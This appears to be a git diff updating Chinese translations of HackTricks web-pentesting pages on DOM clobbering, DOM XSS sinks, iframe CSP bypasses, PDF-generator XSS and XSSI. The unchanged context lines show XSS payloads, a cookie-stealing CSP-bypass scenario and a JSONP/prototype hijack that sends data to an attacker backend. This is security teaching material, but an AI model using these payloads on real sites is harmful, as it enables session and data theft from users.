-> \- 所有具有非空名称内容属性并且在以文档为 [根](https://dom.spec.whatwg.org/#concept-tree-root) 的 [文档树](https://dom.spec.whatwg.org/#in-a-document-tree) 中的所有 [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 和 [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 元素的名称内容属性的值；\
+> \- 所有具有非空名称内容属性并且在以文档为其 [根](https://dom.spec.whatwg.org/#concept-tree-root) 的 [文档树](https://dom.spec.whatwg.org/#in-a-document-tree) 中的所有 [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 和 [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 元素的名称内容属性的值；\
 > \
-> \- 所有具有非空 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 内容属性并且在以文档为 [根](https://dom.spec.whatwg.org/#concept-tree-root) 的 [文档树](https://dom.spec.whatwg.org/#in-a-document-tree) 中的所有 [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 元素的 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 内容属性的值；\
+> \- 所有具有非空 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 内容属性并且在以文档为其 [根](https://dom.spec.whatwg.org/#concept-tree-root) 的 [文档树](https://dom.spec.whatwg.org/#in-a-document-tree) 中的所有 [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 元素的 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 内容属性的值；\
 > \
-> \- 所有同时具有非空 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 内容属性和非空名称内容属性，并且在以文档为 [根](https://dom.spec.whatwg.org/#concept-tree-root) 的 [文档树](https://dom.spec.whatwg.org/#in-a-document-tree) 中的所有 [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 元素的 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 内容属性的值。
+> \- 所有同时具有非空 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 内容属性和非空名称内容属性，并且在以文档为其 [根](https://dom.spec.whatwg.org/#concept-tree-root) 的 [文档树](https://dom.spec.whatwg.org/#in-a-document-tree) 中的所有 [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 元素的 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 内容属性的值。
 
 使用此技术，您可以覆盖常用的 **值，例如 `document.cookie`、`document.body`、`document.children`**，甚至文档接口中的方法，如 `document.querySelector`。
 ```javascript
@@ -170,7 +170,7 @@ display: none;
 alert(document.getElementById("cdnDomain").innerText) // Clobbered
 </script>
 ```
-对SVG的调查显示，`<body>`标签也可以有效地使用：
+对SVG的调查显示，`<body>`标签也可以有效地利用：
 ```html
 <div style="display:none" id="cdnDomain">example.com</div>
 <svg>
@@ -208,7 +208,7 @@ alert(document.getElementById("cdnDomain").innerText) // Clobbered
 Click to send!
 </button>
 ```
-- 有关更多表单属性，请查看 [**按钮检查此处**](https://www.w3schools.com/tags/tag_button.asp)**。**
+- 有关更多表单属性，请查看[**按钮检查此处**](https://www.w3schools.com/tags/tag_button.asp)**。**
 
 ## 参考文献
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-invader.md b/src/pentesting-web/xss-cross-site-scripting/dom-invader.md
index 508e2048b..6e3450026 100644
--- a/src/pentesting-web/xss-cross-site-scripting/dom-invader.md
+++ b/src/pentesting-web/xss-cross-site-scripting/dom-invader.md
@@ -4,12 +4,12 @@
 
 ## DOM Invader
 
-DOM Invader 是一个安装在 Burp 内置浏览器中的浏览器工具。它通过各种源和接收器，包括网络消息和原型污染，帮助 **检测 DOM XSS 漏洞**。该工具作为扩展预安装。
+DOM Invader 是一个安装在 Burp 内置浏览器中的浏览器工具。它通过各种源和接收器，包括网络消息和原型污染，帮助**检测 DOM XSS 漏洞**。该工具作为扩展预安装。
 
 DOM Invader 在浏览器的 DevTools 面板中集成了一个选项卡，支持以下功能：
 
-1. **识别网页上可控的接收器** 以进行 DOM XSS 测试，提供上下文和清理细节。
-2. **记录、编辑和重新发送通过 `postMessage()` 方法发送的网络消息** 以进行 DOM XSS 测试。DOM Invader 还可以使用特别构造的网络消息自动检测漏洞。
+1. **识别网页上可控的接收器**以进行 DOM XSS 测试，提供上下文和清理细节。
+2. **记录、编辑和重新发送通过 `postMessage()` 方法发送的网络消息**以进行 DOM XSS 测试。DOM Invader 还可以使用特别构造的网络消息自动检测漏洞。
 3. 检测 **客户端原型污染** 源并扫描发送到风险接收器的可控小工具。
 4. 识别 **DOM clobbering 漏洞**。
 
@@ -23,17 +23,17 @@ DOM Invader 在浏览器的 DevTools 面板中集成了一个选项卡，支持
 
 <figure><img src="../../images/image (695).png" alt=""><figcaption></figcaption></figure>
 
-### 注入一个 Canary
+### 注入金丝雀
 
-在前面的图像中，你可以看到一个 **随机字符组，即 Canary**。你现在应该开始在网页的不同部分（参数、表单、URL...）中 **注入** 它，并每次点击搜索。DOM Invader 将检查 **canary 是否结束于任何有趣的接收器**，可能被利用。
+在前面的图像中，你可以看到一个 **随机字符组，即金丝雀**。你现在应该开始在网页的不同部分（参数、表单、URL...）中 **注入** 它，并每次点击搜索。DOM Invader 将检查 **金丝雀是否结束于任何有趣的接收器**，可能被利用。
 
-此外，选项 **Inject URL params** 和 Inject forms 将自动打开一个 **新选项卡**，**注入** 每个找到的 **URL** 参数和 **表单** 中的 **canary**。
+此外，选项 **Inject URL params** 和 Inject forms 将自动打开一个 **新选项卡**，**注入** 每个找到的 **URL** 参数和 **表单** 中的 **金丝雀**。
 
-### 注入一个空 Canary
+### 注入空金丝雀
 
-如果你只是想找到页面可能存在的潜在接收器，即使它们不可利用，你可以 **搜索一个空的 canary**。
+如果你只是想找到页面可能存在的潜在接收器，即使它们不可利用，你可以 **搜索一个空金丝雀**。
 
-### Post Messages
+### 发送消息
 
 DOM Invader 允许使用网络消息测试 DOM XSS，具有以下功能：
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-xss.md b/src/pentesting-web/xss-cross-site-scripting/dom-xss.md
index c21ae6f54..336dc8c26 100644
--- a/src/pentesting-web/xss-cross-site-scripting/dom-xss.md
+++ b/src/pentesting-web/xss-cross-site-scripting/dom-xss.md
@@ -61,13 +61,13 @@ Database
 | `localStorage.setItem()`                                                         | `document.evaluate()`                                                               | `document.writeln()`                                          | `$.parseJSON()`                                                        |
 | **``**[**拒绝服务**](dom-xss.md#denial-of-service)**``**              | `someDOMElement.evaluate()`                                                         | `document.title`                                              | **\`\`**[**Cookie 操作**](dom-xss.md#cookie-manipulation)      |
 | `requestFileSystem()`                                                            | **\`\`**[**文档域操作**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()`                | `document.cookie`                                                      |
-| `RegExp()`                                                                       | `document.domain`                                                                   | `history.pushState()`                                         | [**WebSocket URL 中毒**](dom-xss.md#websocket-url-poisoning)      |
+| `RegExp()`                                                                       | `document.domain`                                                                   | `history.pushState()`                                         | [**WebSocket-URL 中毒**](dom-xss.md#websocket-url-poisoning)      |
 | [**客户端 SQL 注入**](dom-xss.md#client-side-sql-injection)            | [**Web 消息操作**](dom-xss.md#web-message-manipulation)                 | `history.replaceState()`                                      | `WebSocket`                                                            |
 | `executeSql()`                                                                   | `postMessage()`                                                                     | \`\`                                                          | \`\`                                                                   |
 
 **`innerHTML`** 接收点在任何现代浏览器中都不接受 `script` 元素，也不会触发 `svg onload` 事件。这意味着您需要使用替代元素，如 `img` 或 `iframe`。
 
-这种类型的 XSS 可能是 **最难发现的**，因为您需要查看 JS 代码，看看它是否 **使用** 任何您 **控制** 的对象的 **值**，在这种情况下，查看是否有 **任何方法可以滥用** 它以执行任意 JS。
+这种类型的 XSS 可能是 **最难发现的**，因为您需要查看 JS 代码，看看它是否 **使用** 任何您 **控制** 的对象，并在这种情况下，查看是否有 **任何方法可以滥用** 它以执行任意 JS。
 
 ## 查找工具
 
@@ -135,9 +135,9 @@ crypto.generateCRMFRequest()
 
 From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
 
-**文档域操控漏洞** 发生在脚本使用攻击者可以控制的数据设置 `document.domain` 属性时。
+**文档域操控漏洞**发生在脚本使用攻击者可以控制的数据设置`document.domain`属性时。
 
-`document.domain` 属性在浏览器的 **同源策略** 的 **执行** 中发挥着 **关键作用**。当来自不同源的两个页面将它们的 `document.domain` 设置为 **相同的值** 时，它们可以不受限制地进行交互。尽管浏览器对可分配给 `document.domain` 的值施加了某些 **限制**，防止将完全不相关的值分配给实际页面源，但仍然存在例外。通常，浏览器允许使用 **子域** 或 **父域**。 
+`document.domain`属性在浏览器的**同源策略**的**执行**中发挥着**关键作用**。当来自不同源的两个页面将其`document.domain`设置为**相同的值**时，它们可以不受限制地相互交互。尽管浏览器对可分配给`document.domain`的值施加了某些**限制**，防止将完全不相关的值分配给实际页面源，但仍然存在例外。通常，浏览器允许使用**子域**或**父域**。 
 
 Sinks:
 ```javascript
@@ -165,11 +165,11 @@ someDOMElement.href
 someDOMElement.src
 someDOMElement.action
 ```
-### Ajax请求操控
+### Ajax 请求操控
 
 来自: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
 
-**Ajax请求操控漏洞** 出现于脚本将 **攻击者可控的数据写入使用 `XmlHttpRequest` 对象发出的Ajax请求** 时。
+**Ajax 请求操控漏洞** 出现于脚本将 **攻击者可控的数据写入使用 `XmlHttpRequest` 对象发出的 Ajax 请求** 时。
 
 接收点:
 ```javascript
@@ -222,7 +222,7 @@ localStorage.setItem()
 
 **基于 DOM 的 XPath 注入漏洞** 发生在脚本将 **攻击者可控的数据纳入 XPath 查询** 时。
 
-接收点:
+Sinks:
 ```javascript
 document.evaluate()
 someDOMElement.evaluate()
@@ -241,19 +241,19 @@ $.parseJSON()
 ```
 ### Web-message manipulation
 
-From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
+来自: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
 
-**Web-message vulnerabilities** 在脚本将 **攻击者可控的数据作为网络消息发送到浏览器内的另一个文档** 时出现。一个 **示例** 的易受攻击的Web消息操控可以在 [PortSwigger's Web Security Academy](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source) 找到。
+**Web-message 漏洞** 出现于脚本将 **攻击者可控的数据作为网络消息发送到浏览器内的另一个文档**。一个 **示例** 的易受攻击的 Web-message 操作可以在 [PortSwigger's Web Security Academy](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source) 找到。
 
 Sinks:
 
-`postMessage()` 方法用于发送网络消息，如果接收消息的事件监听器以不安全的方式处理传入数据，则可能导致漏洞。
+`postMessage()` 方法用于发送网络消息，如果接收消息的事件监听器以不安全的方式处理传入数据，可能会导致漏洞。
 
 ### DOM-data manipulation
 
-From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
+来自: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
 
-**DOM-data manipulation vulnerabilities** 在脚本将 **攻击者可控的数据写入DOM中的一个字段** 时出现，该字段在可见的UI或客户端逻辑中被使用。攻击者可以利用此漏洞构造一个URL，如果另一个用户访问该URL，可能会改变客户端UI的外观或行为。
+**DOM-data 操作漏洞** 出现于脚本将 **攻击者可控的数据写入 DOM 中的一个字段**，该字段在可见的 UI 或客户端逻辑中被使用。攻击者可以利用此漏洞构造一个 URL，如果其他用户访问该 URL，可能会改变客户端 UI 的外观或行为。
 
 Sinks:
 ```javascript
@@ -284,14 +284,14 @@ history.replaceState()
 
 来自: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
 
-**基于DOM的拒绝服务漏洞**发生在脚本将**攻击者可控的数据不安全地传递给有问题的平台API**时。这包括在调用时可能导致用户计算机消耗**过多的CPU或磁盘空间**的API。这类漏洞可能会产生显著的副作用，例如浏览器通过拒绝存储数据到`localStorage`或终止繁忙的脚本来限制网站的功能。
+**基于DOM的拒绝服务漏洞**发生在脚本将**攻击者可控的数据不安全地传递给有问题的平台API**时。这包括在调用时可能导致用户计算机消耗**过多的CPU或磁盘空间**的API。这类漏洞可能会产生显著的副作用，例如浏览器通过拒绝尝试在`localStorage`中存储数据或终止繁忙的脚本来限制网站的功能。
 
 Sinks:
 ```javascript
 requestFileSystem()
 RegExp()
 ```
-## Dom Clobbering
+## DOM覆盖
 
 {{#ref}}
 dom-clobbering.md
diff --git a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
index 929403863..85ecc34b0 100644
--- a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
+++ b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
@@ -45,13 +45,13 @@ var secret = "child secret"
 alert(parent.secret)
 </script>
 ```
-如果您通过 http 服务器（如 `python3 -m http.server`）访问之前的 html，您会注意到所有脚本都会被执行（因为没有 CSP 阻止它）。**父级将无法访问任何 iframe 内部的 `secret` 变量**，**只有 if2 和 if3（被视为同站）可以访问原始窗口中的 secret**。\
-注意 if4 被认为具有 `null` 来源。
+如果您通过 HTTP 服务器访问之前的 HTML（如 `python3 -m http.server`），您会注意到所有脚本都会被执行（因为没有 CSP 阻止它）。**父级将无法访问任何 iframe 内部的 `secret` 变量**，**只有 if2 和 if3（被视为同站）可以访问原始窗口中的 secret**。\
+请注意 if4 被认为具有 `null` 来源。
 
 ### 带 CSP 的 Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
 
 > [!NOTE]
-> 请注意，在以下绕过中，iframe 页面响应不包含任何阻止 JS 执行的 CSP 头。
+> 请注意，在以下绕过中，响应的 iframed 页面不包含任何阻止 JS 执行的 CSP 头。
 
 `script-src` 的 `self` 值将不允许使用 `data:` 协议或 `srcdoc` 属性执行 JS 代码。\
 然而，即使 CSP 的 `none` 值也将允许执行在 `src` 属性中放置 URL（完整或仅路径）的 iframes。\
@@ -76,14 +76,14 @@ id="if4"
 src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
 </html>
 ```
-注意到**之前的CSP只允许执行内联脚本**。\
-然而，**只有`if1`和`if2`脚本将被执行，但只有`if1`能够访问父级秘密**。
+注意到**之前的 CSP 仅允许执行内联脚本**。\
+然而，**只有 `if1` 和 `if2` 脚本将被执行，但只有 `if1` 能够访问父级秘密**。
 
 ![](<../../images/image (372).png>)
 
-因此，如果您可以将JS文件上传到服务器并通过iframe加载，即使`script-src 'none'`，也可以**绕过CSP**。这也**可能通过滥用同站JSONP端点来实现**。
+因此，如果您可以将 JS 文件上传到服务器并通过 iframe 加载，即使 `script-src 'none'`，也有可能**绕过 CSP**。这也可以**通过滥用同站 JSONP 端点来实现**。
 
-您可以通过以下场景进行测试，即使在`script-src 'none'`的情况下也会窃取cookie。只需运行应用程序并使用浏览器访问它：
+您可以通过以下场景进行测试，即使在 `script-src 'none'` 的情况下也会窃取 cookie。只需运行应用程序并使用浏览器访问它：
 ```python
 import flask
 from flask import Flask
@@ -117,11 +117,11 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
 ```
 ### Iframe sandbox
 
-iframe 内的内容可以通过使用 `sandbox` 属性受到额外限制。默认情况下，此属性不适用，这意味着没有限制。
+iframe 中的内容可以通过使用 `sandbox` 属性受到额外限制。默认情况下，此属性不适用，这意味着没有限制。
 
-当使用时，`sandbox` 属性施加了几个限制：
+使用时，`sandbox` 属性会施加几个限制：
 
-- 内容被视为来自一个独特的源。
+- 内容被视为来自唯一来源。
 - 任何提交表单的尝试都被阻止。
 - 禁止执行脚本。
 - 禁用对某些 API 的访问。
@@ -130,13 +130,13 @@ iframe 内的内容可以通过使用 `sandbox` 属性受到额外限制。默
 - 防止内容自身导航到其顶级浏览上下文。
 - 自动触发的功能，如视频播放或表单控件的自动聚焦，被阻止。
 
-属性的值可以留空（`sandbox=""`）以应用上述所有限制。或者，可以设置为一个以空格分隔的特定值列表，以使 iframe 免于某些限制。
+属性的值可以留空（`sandbox=""`）以应用上述所有限制。或者，可以设置为以空格分隔的特定值列表，以使 iframe 免于某些限制。
 ```html
 <iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
 ```
 ## SOP中的Iframes
 
-查看以下页面：
+检查以下页面：
 
 {{#ref}}
 ../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
index e2fad75c7..1e8269bb2 100644
--- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
+++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
@@ -4,14 +4,14 @@
 
 ## 基本信息
 
-在JavaScript语言中，有一种机制称为**提升**，它描述了变量、函数、类或导入的声明在代码执行之前概念上被提升到其作用域的顶部。这个过程是由JavaScript引擎自动执行的，脚本会经过多次处理。
+在JavaScript语言中，有一种机制称为**提升**，它描述了变量、函数、类或导入的声明在代码执行之前概念上被提升到其作用域的顶部。这个过程是由JavaScript引擎自动执行的，脚本会经过多次遍历。
 
-在第一次处理期间，引擎解析代码以检查语法错误，并将其转换为抽象语法树。这个阶段包括提升，这是一个将某些声明移动到执行上下文顶部的过程。如果解析阶段成功，表明没有语法错误，则脚本执行继续进行。
+在第一次遍历中，引擎解析代码以检查语法错误，并将其转换为抽象语法树。这个阶段包括提升，这是一个将某些声明移动到执行上下文顶部的过程。如果解析阶段成功，表明没有语法错误，则脚本执行继续进行。
 
 理解以下几点至关重要：
 
-1. 脚本必须没有语法错误才能执行。必须严格遵守语法规则。
-2. 代码在脚本中的位置会因提升而影响执行，尽管执行的代码可能与其文本表示不同。
+1. 脚本必须没有语法错误才能执行。语法规则必须严格遵守。
+2. 代码在脚本中的位置会影响执行，因为提升，尽管执行的代码可能与其文本表示不同。
 
 #### 提升的类型
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
index 6400b20b4..e1da03308 100644
--- a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
+++ b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
@@ -121,8 +121,6 @@ l = chr(int(L[-2:],16))
 if(h == findHex[0]) and (l == findHex[1]):
 print(H.replace("0x","\\u")+L.replace("0x","\\u"))
 ```
-更多信息：
-
 ### `javascript{}:` 协议模糊测试
 ```javascript
 // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
@@ -303,11 +301,11 @@ var bindFn_this = fn.bind(this, "fixingparam1")
 bindFn_change("Hello", "World")
 ```
 > [!NOTE]
-> 请注意，使用 **`bind`** 可以操控在调用函数时将要使用的 **`this`** 对象。
+> 请注意，使用 **`bind`** 可以操纵在调用函数时将要使用的 **`this`** 对象。
 
-### 函数代码泄露
+### 函数代码泄漏
 
-如果您可以 **访问函数的对象**，您可以 **获取该函数的代码**。
+如果您可以 **访问函数的对象**，则可以 **获取该函数的代码**。
 ```javascript
 function afunc() {
 return 1 + 1
diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
index fe0fec763..1df7cc249 100644
--- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
+++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
@@ -8,7 +8,7 @@
 因此，如果**PDF 创建机器人发现**某种**HTML** **标签**，它将会**解释**这些标签，你可以**利用**这种行为导致**服务器 XSS**。
 
 请注意，`<script></script>` 标签并不总是有效，因此你需要使用不同的方法来执行 JS（例如，利用 `<img`）。\
-另外，请注意，在常规利用中，你将**能够查看/下载创建的 PDF**，因此你将能够看到你**通过 JS 写入的所有内容**（例如使用 `document.write()`）。但是，如果你**无法查看**创建的 PDF，你可能需要**提取信息并向你发起网络请求**（盲注）。
+另外，请注意，在常规利用中，你将**能够查看/下载创建的 PDF**，因此你将能够看到你**通过 JS 写入的所有内容**（例如使用 `document.write()`）。但是，如果你**无法看到**创建的 PDF，你可能需要**提取信息并向你发起网络请求**（盲注）。
 
 ### 常见 PDF 生成
 
@@ -60,7 +60,7 @@ alert(1);
 </script>
 </svg>
 ```
-您可以在 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 找到很多 **其他 SVG 载荷**。
+您可以在 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 找到许多 **其他 SVG 有效载荷**。
 
 ### 路径泄露
 ```markup
@@ -149,10 +149,10 @@ checkPort(i);
 
 这个漏洞可以很容易地转化为 SSRF（因为你可以让脚本加载外部资源）。所以只需尝试利用它（读取一些元数据？）。
 
-### 附件：PD4ML
+### Attachments: PD4ML
 
 有一些 HTML 2 PDF 引擎允许 **为 PDF 指定附件**，例如 **PD4ML**。你可以利用这个功能 **将任何本地文件附加到 PDF**。\
-为了打开附件，我使用 **Firefox 打开文件并双击回形针符号**以 **将附件存储为新文件**。\
+要打开附件，我使用 **Firefox 打开文件并双击回形针符号**以 **将附件存储为新文件**。\
 使用 burp 捕获 **PDF 响应**也应该 **在 PDF 中以明文显示附件**。
 ```html
 <!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
diff --git a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md
index 3a2a40e08..2b7c9b82c 100644
--- a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md
+++ b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md
@@ -2,12 +2,12 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## 通过将其转换为UTF16泄露脚本内容
+## 通过将脚本内容转换为UTF16进行泄露
 
-[**此文档**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) 泄露了一个text/plain，因为没有 `X-Content-Type-Options: nosniff` 头，通过添加一些初始字符使得javascript认为内容是UTF-16，因此脚本不会中断。
+[**此写作**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) 泄露了一个 text/plain，因为没有 `X-Content-Type-Options: nosniff` 头，通过添加一些初始字符使得javascript认为内容是UTF-16，从而脚本不会中断。
 
-## 通过将其视为ICO泄露脚本内容
+## 通过将脚本内容视为ICO进行泄露
 
-[**下一个文档**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) 通过将脚本内容加载为ICO图像来泄露脚本内容，访问 `width` 参数。
+[**下一个写作**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) 通过将其加载为ICO图像来泄露脚本内容，访问 `width` 参数。
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md b/src/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md
index d90071487..38a67058c 100644
--- a/src/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md
+++ b/src/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md
@@ -17,12 +17,12 @@
 - 让**受害者打开一个由** **攻击者**控制的页面。
 - **页面将自己**在一个**不同的窗口**中打开（新窗口将有对象**`opener`**引用初始窗口）。
 - **初始页面**将加载**有趣DOM**所在的**页面**。
-- **第二个页面**将加载**滥用回调的易受攻击页面**，并使用**`opener`**对象**访问并在初始页面中执行某些操作**（现在包含有趣的DOM）。
+- **第二个页面**将加载**滥用回调的易受攻击页面**，并使用**`opener`**对象**访问并执行初始页面中的某些操作**（现在包含有趣的DOM）。
 
 > [!CAUTION]
 > 请注意，即使初始页面在创建第二个页面后访问新URL，**第二个页面的`opener`对象仍然是对新DOM中第一个页面的有效引用**。
 >
-> 此外，为了使第二个页面能够使用opener对象，**两个页面必须在同一来源**。这就是为什么为了滥用此漏洞，您需要找到某种**同一来源中的XSS**。
+> 此外，为了使第二个页面能够使用opener对象，**两个页面必须在同一源中**。这就是为什么为了滥用此漏洞，您需要找到某种**同源中的XSS**。
 
 ### Exploitation
 
@@ -32,7 +32,7 @@
 ### Example
 
 - 您可以在[https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)找到一个易受攻击的示例。
-- 请注意，在此示例中，服务器**生成javascript代码**并**将其添加**到基于**回调参数内容的HTML中：**`<script>opener.{callbacl_content}</script>`**。这就是为什么在此示例中您不需要明确指示使用`opener`。
+- 请注意，在此示例中，服务器**生成javascript代码**并**将其添加**到基于**回调参数内容的HTML中：**`<script>opener.{callbacl_content}</script>`。这就是为什么在此示例中您不需要明确指示使用`opener`。
 - 还可以查看此CTF写作：[https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
 
 ## References
diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
index ea11ba8d1..c6e2c5cee 100644
--- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
+++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
@@ -14,7 +14,7 @@ alert(1)
 </script>
 <img src="x" onerror="alert(1)" />
 ```
-您可以在[hacktricks的主XSS页面](./)找到更多示例。
+您可以在[hacktricks的主要XSS页面](./)找到更多示例。
 
 ### Javascript链接
 
diff --git a/src/pentesting-web/xssi-cross-site-script-inclusion.md b/src/pentesting-web/xssi-cross-site-script-inclusion.md
index 80e68e6e9..a8b890475 100644
--- a/src/pentesting-web/xssi-cross-site-script-inclusion.md
+++ b/src/pentesting-web/xssi-cross-site-script-inclusion.md
@@ -20,7 +20,7 @@
 3. **动态 JavaScript** - 涉及动态生成内容的 JavaScript。
 4. **非 JavaScript** - 指不直接涉及 JavaScript 的漏洞。
 
-**以下信息是 [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414) 的总结。请查看以获取更多详细信息。**
+**以下信息是 [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)** 的总结。请查看以获取更多详细信息。
 
 ### 常规 XSSI
 
@@ -33,7 +33,7 @@ alert(JSON.stringify(confidential_keys[0]))
 ```
 ### 动态JavaScript基础的XSSI和认证JavaScript-XSSI
 
-这些类型的XSSI攻击涉及机密信息根据用户请求动态添加到脚本中。可以通过发送带有和不带有cookie的请求并比较响应来进行检测。如果信息不同，这可能表明存在机密信息。可以使用像[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS)这样的Burp扩展来自动化此过程。
+这些类型的XSSI攻击涉及机密信息在响应用户请求时动态添加到脚本中。可以通过发送带有和不带有cookie的请求并比较响应来进行检测。如果信息不同，这可能表明存在机密信息。可以使用像[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS)这样的Burp扩展来自动化此过程。
 
 如果机密数据存储在全局变量中，可以使用与常规XSSI相似的方法进行利用。然而，如果机密数据包含在JSONP响应中，攻击者可以劫持回调函数以检索信息。这可以通过操纵全局对象或设置一个由JSONP响应执行的函数来完成，如下所示：
 ```html
@@ -68,11 +68,11 @@ Array.prototype.slice = function () {
 sendToAttackerBackend(this)
 }
 ```
-进一步的攻击向量细节可以在安全研究员 [Sebastian Lekies](https://twitter.com/slekies) 的工作中找到，他维护着一个 [vectors](http://sebastian-lekies.de/leak/) 列表。
+关于攻击向量的更多细节可以在安全研究员 [Sebastian Lekies](https://twitter.com/slekies) 的工作中找到，他维护着一个 [vectors](http://sebastian-lekies.de/leak/) 的列表。
 
 ### Non-Script-XSSI
 
-Takeshi Terada 的研究介绍了另一种 XSSI 形式，其中 Non-Script 文件，如 CSV，通过作为 `script` 标签中的源被跨源泄露。历史上 XSSI 的实例，如 Jeremiah Grossman 在 2006 年的攻击以读取完整的 Google 地址簿和 Joe Walker 在 2007 年的 JSON 数据泄露，突显了这些威胁的严重性。此外，Gareth Heyes 描述了一种攻击变体，涉及 UTF-7 编码的 JSON，以逃避 JSON 格式并执行脚本，在某些浏览器中有效：
